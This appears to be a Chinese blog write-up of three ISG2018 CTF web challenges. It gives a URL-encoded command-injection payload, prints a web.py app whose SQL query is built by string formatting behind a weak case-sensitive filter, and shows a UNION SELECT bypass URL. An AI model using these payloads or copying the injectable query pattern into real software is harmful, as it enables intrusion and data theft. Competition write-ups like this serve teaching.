ISG2018 web题Writeup
0x01.命令注入
这题可以使用burpsuite扫出来,但是可能需要测一下。
得知payload为:i%7cecho%20gzavvlsv9c%20q9szmriaiy%7c%7ca%20%23'%20%7cecho%20gzavvlsv9c%20q9szmriaiy%7c%7ca%20%23%7c%22%20%7cecho%20gzavvlsv9c%20q9szmriaiy%7c%7ca%20%23
刚开始有点尴尬,以为不行了呢。
但是大家可以注意到,等号后面是输出了的,也就是说确实执行了echo的。
然后执行whoami确实执行成功了。
然后就是直接ls得到flag路径cat flag了。
0x02.
提供了如下py文件。
很简单可以看出是存在SQL注入的,但是有部分过滤。
#coding: utf8
import web
import os
import re
import sys
import sqlite3
from web.contrib.template import render_mako abspath = os.path.dirname(__file__)
sys.path.append(abspath)
#os.chdir(abspath)
urls = (
'/', 'index',
'/news-(.+).html', 'news',
# webpy URI route line by line.
) app = web.application(urls, globals(), autoreload=True) web.config.debug = True def my_loadhook():
web.header('content-type', 'text/html;charset=utf-8', unique=True) app.add_processor(web.loadhook(my_loadhook)) def notfound():
return web.notfound('') def internalerror():
return web.internalerror('') app.notfound = notfound
app.internalerror = internalerror render = render_mako(
directories=[abspath + '/templates'],
input_encoding='utf-8',
output_encoding='utf-8',
) def codesafe(n):
if re.search("select", n) or re.search(" ", n) or re.search("where", n) or re.search("=", n) or re.search("'", n):
return False
else:
return True class index:
def GET(self): try:
conn = sqlite3.connect(abspath + '/db/data.db')
except:
conn = sqlite3.connect('db/data.db')
cur = conn.cursor()
a = cur.execute('select id,title from news order by id asc').fetchall()
cur.close()
conn.close()
return render.index(list=a) class news:
def GET(self, id):
# try:
# id = web.input()['id']
# except:
# raise web.seeother('/')
if not codesafe(id):
return 'Hacker?'
try:
conn = sqlite3.connect(abspath + '/db/data.db')
except:
conn = sqlite3.connect('db/data.db')
cur = conn.cursor()
sql = 'select title,content from news where id = {0}'.format(id)
a = cur.execute(sql).fetchall()
cur.close()
conn.close()
return render.news(title=a[0][0], content=a[0][1]) if __name__ == '__main__':
app.run()
else:
application = app.wsgifunc()
因为根本都没有验证大小写所以直接大小写就可以绕过,这里分享一个比赛的tips,注入里好多表明列明都是flag,别去猜裤猜表了,直接select flag from flag试试。
所以得出payload为:http://202.120.7.206:60019/news-2/**/uNion/**/sELECT/**/1,flag/**/FROM/**/flag.html
0x03.
这题做出来的人比较多也比较low。之前刷题就刷到过。
一打开就是提示要输入密码
然后源码里看到了一个base64加密的发现并不是flag
最终直接curl http://202.120.7.207:60007/index.html得到flag
表示只会做WEB 至于PWN实在是有心无力。
ISG2018 web题Writeup的更多相关文章
- 实验吧 web题writeup
1.http://ctf5.shiyanbar.com/web/wonderkun/web/index.html 用户名我输入:or'xor"and"select"uni ...
- SycSec成都信息工程大学2019CTF-前五道WEB题writeup
一.WEB (1)一起来撸猫 flag藏在标签的注释内 <!--这是注释--> (2)你看见过我的菜刀么 eval漏洞 利用蚁剑连接 连接密码就是要post传的参数 连接成功后在网站根目 ...
- CTFHub Web题学习笔记(SQL注入题解writeup)
Web题下的SQL注入 1,整数型注入 使用burpsuite,?id=1%20and%201=1 id=1的数据依旧出现,证明存在整数型注入 常规做法,查看字段数,回显位置 ?id=1%20orde ...
- 实验吧web题:
实验吧web题: 这个有点简单 因为刚了解sqlmap,所以就拿sqlmap来练练手了 1,先测试该页面是否存在sql注入漏洞 2.找到漏洞页面,复制url,然后打开sqlmap 先查看当前数据库 然 ...
- jarvis OJ WEB题目writeup
0x00前言 发现一个很好的ctf平台,题目感觉很有趣,学习了一波并记录一下 https://www.jarvisoj.com 0x01 Port51 题目要求是用51端口去访问该网页,注意下,要用具 ...
- i春秋CTF web题(1)
之前边看writeup,边做实验吧的web题,多多少少有些收获.但是知识点都已记不清.所以这次借助i春秋这个平台边做题,就当记笔记一样写写writeup(其实都大部分还是借鉴其他人的writeup). ...
- XCTF攻防世界Web之WriteUp
XCTF攻防世界Web之WriteUp 0x00 准备 [内容] 在xctf官网注册账号,即可食用. [目录] 目录 0x01 view-source2 0x02 get post3 0x03 rob ...
- CTF--web 攻防世界web题 robots backup
攻防世界web题 robots https://adworld.xctf.org.cn/task/answer?type=web&number=3&grade=0&id=506 ...
- CTF--web 攻防世界web题 get_post
攻防世界web题 get_post https://adworld.xctf.org.cn/task/answer?type=web&number=3&grade=0&id=5 ...
随机推荐
- [LeetCode] Search in Rotated Array
Suppose a sorted array is rotated at some pivot unknown to you beforehand. (i.e., 0 1 2 4 5 6 7 migh ...
- 第196天:js---调用函数的五种方式
一.普通方式 /*普通模式*/ // 声明一个函数,并调用 function func() { console.log("Hello World"); } func(); 二.函数 ...
- bzoj2301-Problem b
题意 \(T\le 5\times 10^4\) 次询问,每次询问 \(a,b,c,d,k\le 5\times 10^4\),求 \[ \sum _{i=a}^b\sum _{j=c}^d[gcd( ...
- 最大流Dinic算法模板(pascal)
program rrr(input,output); const inf=; type pointer=^nodetype; nodetype=record t,c:longint; next,rev ...
- Unity3D for VR 学习(10): Unity LOD Group 组件
LOD (Level of Detail), 远小近大思想. LOD,在Unity中是用到了空间换时间的优化方法:即程序加载2套模型,导致包会增大:在运行时刻,远处的用面数少的模型–模糊一些,近处用面 ...
- 【Codeforces 98E】 Help Shrek and Donkey 游戏策略神题
from http://www.cnblogs.com/MashiroSky/p/6576398.html A君有n张牌,B君有m张牌,桌上还有一张反扣着的牌,每张牌都不一样. 每个回合可以做两件事中 ...
- ORACLE获取某个时间段之间的月份列表
返回1-31,或者1-12,或者某个 select rownum from dual connect by rownum<31 就是connect by http://marcospri ...
- 二次封装bootstrap-table及功能优化
/** * 设置bootstrat-table * @param params */ function setBootstrapTable (target, params) { // 默认设置表格内容 ...
- HDU 3480 斜率dp
Division Time Limit: 10000/5000 MS (Java/Others) Memory Limit: 999999/400000 K (Java/Others)Total ...
- [DeeplearningAI笔记]卷积神经网络1.9-1.11池化层/卷积神经网络示例/优点
4.1卷积神经网络 觉得有用的话,欢迎一起讨论相互学习~Follow Me 1.9池化层 优点 池化层可以缩减模型的大小,提高计算速度,同时提高所提取特征的鲁棒性. 池化层操作 池化操作与卷积操作类似 ...